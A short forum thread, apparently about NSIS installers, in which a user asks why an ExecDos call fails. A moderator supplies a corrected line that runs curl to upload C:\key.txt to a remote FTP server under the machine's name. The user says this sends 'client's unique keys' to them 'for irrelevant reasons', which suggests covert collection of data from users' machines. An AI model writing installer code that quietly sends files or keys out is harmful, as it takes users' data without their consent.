|
|
#1 |
|
Senior Member
Join Date: Aug 2007
Posts: 117
|
ExecDos problem
I'm actually not exactly sure where the problem is.
I tried to do it manually, with cmd prompt, and cURL, and it worked fine. When I try to do it with ExecDos it does not work. There's the code. It's for uploading my client's unique key's to me for irrelevant reasons code: This script will also breakpoint the process and CMD.exe so I need to close it via task manager. Any help would be great |
|
|
|
|
|
#2 |
|
Moderator
Join Date: Jun 2002
Location: ${NSISDIR}
Posts: 5,449
|
I would guess the correct code would be more like:
ExecDos::exec '"C:\WINDOWS\curl.exe" -T C:\key.txt ftp://*****:******@oinkme.llc.nu/%computername%.txt' Pop $0 (It's late, and I'm too tired to read the ExecDos docs) The Inetc plugin supports uploading aswell if that is all you are want IntOp $PostCount $PostCount + 1 |
|
|
|
|
|
#3 |
|
Moderator
Join Date: Nov 2002
Location: Surrey, England
Posts: 8,434
|
It must all be one parameter so place the whole thing within single quotes (I recommend ``).
Stu |
|
|
|
![]() |
|
|||||||
| Thread Tools | Search this Thread |
| Display Modes | |
|
|